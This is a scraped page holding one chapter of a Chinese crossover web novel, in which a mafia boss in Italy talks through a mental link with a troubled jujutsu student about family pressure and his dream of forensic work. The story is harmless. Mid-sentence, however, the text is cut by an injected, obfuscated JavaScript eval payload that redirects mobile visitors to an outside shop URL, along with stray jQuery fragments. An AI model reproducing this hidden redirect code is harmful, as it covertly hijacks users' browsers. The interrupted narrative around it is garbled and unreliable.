文趣网 > 都市小说 > 从咒术师到Mafia > 4. 第 4 章
    千叶光希迷茫的坐在床上,不知道怎么和脑海中那道声音交流,有点害羞,还有点无措,但很不可思议的居然没有被冒犯的感觉。

    明明是擅自出现在他脑海里,但却讨厌不起来,不知道为什么。

    可能是声音好听?

    千叶光希这样猜测着。

    而远在意大利,正在看能让他脑袋爆炸账本的纲吉缓缓吐出一口气,敲了敲自己脑袋,有些疑惑。

    他不知道为什么突然能与日本的一个少年感觉共享,但超直感没有提醒他危险,所以不是件坏事。

    至少对现在的他不是坏事,他实在不想枯燥的看烦人的账本了,厚的都要堆成山了,越长大他就越懂得师兄迪诺的权威性,不仅会看账本还会赚钱,上任之后就重振了先代败落的家产财政问题。

    他刚继任也几年了,已经全盘接受了家族事物,每天开例会,和那些一看就很凶的人打交道,假装自己不好惹,每天出门板着一张脸,感觉时间久了会得面瘫。

    上学的时候觉得生活已经很糟糕了,没想到上班之后更惨。

    但纲吉还是觉得是工作性质的问题,□□当然不会过的舒服,当初他要是选择一个普通公司上班,说不定就能过上平凡普通的日子了,钱或许赚的不多,但不需要和同事交往过深,每天按时上下班,每天最大纠结的事情就是预算,偶尔可以放纵一下,在下班后去吃大餐。

    纲吉趴在桌子上,眼前好像出现了幻想的生活,不由得说了一句:“真的太美好了。”

    这句声音荡过一望无际的海洋,传到了宿舍里千叶光希的耳朵里,清秀苍白的脸上露出疑惑的表情,他抬头看了看自己的宿舍,刘海随着动作往旁边散了散,黑瞳也露了出来,看着有点呆萌。

    “什么美好?”

    这个宿舍吗?他没住过宿舍,这个宿舍是单间公寓户型,只有一些必要的家具,床,书柜,衣着,他来之后也没怎么观察过,除了卧室,还有浴室,似乎还有公共厨房,他没用过。

    不知道这样宿舍的条件怎么样。

    “刚才想了一下我没有选择这份工作的未来,觉得会比现在好。”纲吉解释道。

    “没有选择现在这种生活吗?那很美好了。”千叶光希低头沮丧道,稍长的刘海再次遮住了头发,整个人散发出一种丧丧的感觉,像极了雨里淋湿的猫,连声音都透着一股委屈。

    认为自己已经成年且上班多年的纲吉宽慰道:“其实幻想的生活的美好只存在于想象中,毕竟没有亲身经历过,而现在的生活却能实打实的体会到委屈……你是受到什么委屈了吗,可以和我倾诉,反正咱们看不见对方,就当一个笔友好了。”

    千叶光希揪着床单:“你是日本人吗?”

    “我现在住在意大利。”

    千叶光希松了一口气:“在外国啊,那很安全了。”

    沢田纲吉:“……”安全?他已经很多年没听过这个词了,日常接触到的词汇都是“小心”“提高警惕”这种词,他现在所在的意大利□□势力很强,虽然不像横滨那么乱,但暗地里的乱斗还是很常见。

    更何况国外人人都可以持枪,更危险。

    他都有点怀念日本了。

    一时之间纲吉不知道该怎么回答千叶光希,所幸千叶光希也没有要纲吉回答,自顾自的说了起来。

    “我以前在京都的一所国中读书,毕业之后就转来了这所学校,对外是宗教性质的咒术高等专门学校,你应该也能感觉到,是学习工作一体的那种学校。”千叶光希念叨叨。

    沢田纲吉只能靠猜理解千叶光希说话的内容,咒术高等专门学校是什么,他怎么从来没听说过,就算他孤陋寡闻,没听过几所学校,但是宗教性质的话,为什么是工作学习一体的,难道是一边上学一边外出传道。

    但传道的话为什么要学习体术,感觉像在培养孩子战斗,老师说话的语气也轻浮,没有神父那种庄严的感觉。

    奇奇怪怪的学校,千叶君真的不是年少被坑吗?

    沢田纲吉内心疯狂吐槽,但还是在安静的倾听千叶光希说话,他能感觉到对方似乎很久没有倾诉过自己的心事了,整个人显得沉闷痛苦,虽然说出来可能无法具体解决某些事情,但至少心里会好受些。

    他刚继任的时候经常会遇到无法解决的事情,觉得是天大的事情,无法妥善解决的话,彭格列明天就会解体,几千个员工就会没工作,甚至意大利的经济也会因此受影响——以上全部都是里包恩跟他说的后果。

    纲吉从来没想到彭格列能有这么重要,里包恩说,要不然白兰以前那么针对彭格列。

    纲吉:“白兰针对的不止有彭格列吧,是所有平行世界。”

    中二白兰针对全世界,单纯想要成神。

    里包恩跟他说一系列后果,最主要的目的并不是恐吓他,只是想让他知道重要性,私下可以露出软弱的一面,但慌张过后就要调整自己的情绪。

    他已经比其他人要幸运得多,有很多可以倾诉的朋友,虽然倾诉完之后可能会有其他的烦恼,但心情会轻松很多。

    “我本来已经考上重点高中的,但因为觉醒了能力就被父母强硬的转学到大专,学历上就差了一大截,以后的目标就更完不成了。”

    “这个学校是培养特定职业的,毕业之后如果不从事这个职业又能做什么,难不成去当保镖或者神棍吗,一听就不好,我不想,我还是想当法医。”

    沢田纲吉:?

    听着听着就不对劲了,什么职业?法医!

    不是说法医不好,但一般人会从初中开始就想当法医吗?

    法医很可怕的。

    “法医?为什么会想当法医,这个职业挺冷门的。”纲吉的语气里带着试探。

    “冷门?”千叶光希的语气里也带着疑惑,“这是个冷门的职业吗,我看各个部门法医的职位都是供不应求的,而且待遇很好,不知道为什么没多少人愿意去,钱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945272|214042||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    多事少的工作居然还供不应求,好奇怪。”

    沢田纲吉:“……”

    他可能知道是什么原因了,没想到几年过去,日本的死亡率依然居高不下,而且还影响了新一代,这个社会还有救吗?

    “法医的工作内容很可怕的,你看没看过电视剧,法医需要接触死亡现场,还有死者家属。”

    “嗯,但要相信科学,尸体不会动,比人要好多了。”

    纲吉:“……我相信科学。”

    他们聊天内容方向好像不知不觉的转移了,本来是想安慰千叶光希被迫来到了天坑学校,但现在居然在讨论法医的利与弊。

    千叶光希揉乱了头发:“反正我很讨厌我现在的情况,父母那边也是,听说教我的老师特别厉害,家里也有钱,来之前一直让我团结同学,和老师打好关系,我讨厌复杂的人际关系,做不来讨好这种事情。”

    “虽然父母的本心是为了孩子好,但父母和孩子往往是没办法共情,差了二十多岁,思维上也没办法达成一致,他们的话听听就算了,偶尔附和一下,表达身为子女的孝心。”

    这个话题纲吉就有得聊,严格来说他就是被他爸那拨人拐上了□□的路,而他的妈妈现在还不知道他的真正职业,打电话聊天的时候他也会瞒着这件事,有时候纲吉会想,可能妈妈一辈子都不知道家里很多人都是做□□的。

    有时候他会觉得妈妈不懂自己,偶尔会觉得落寞,但这种感觉转瞬即逝,虽然大部人都不这么认为,但他真的觉得自己在很小的时候就独立了,小的时候同学说他没有父亲,小学的时候同学欺负他,老师针对他,这些事情他都默默的忍受,用自己的方式去解决,从来没有麻烦过妈妈。

    “父母和孩子并不是一体的。”纲吉说。

    千叶光希继续扣床单,指尖有点痛,但他觉得还不够,嘴唇紧紧抿着,那种被一只大手攥紧心脏的窒息感又来了。

    “我知道……但也要看父母是什么样的,如果父母把所有的希望都寄托到孩子身上,孩子又怎么说出听听就算了,父母没有过上好生活,都是孩子没有努力,明明可以做到,就因为自己的自尊心而放弃,这种事情要怎么和父母去说。”

    沢田纲吉没办法看到千叶光希此时的表情,但透过视野,他看见了对方攥的紧紧的手,指节都发白,还有点抖。

    关于别人家庭的事情,外人多掺和不好,纲吉也心知肚明,自己的几句话无法改变少年的处境,也无法改变少年的心态。

    其实最关键的还是心态,他不信光凭孩子豁得出去就能改变一个家庭的情况。

    他叹了口气,还是劝慰般的说了一句:“你还没有成年,这个年纪,去打工都没有公司敢收,其实没必要给自己这么大的压力,我看你的成绩和体力都很不错,性格还这么好,其实是一个很优秀的人。”

    还有一句话他没说。

    如果一个家的荣华富贵要靠没成年的孩子,那是父母的无用。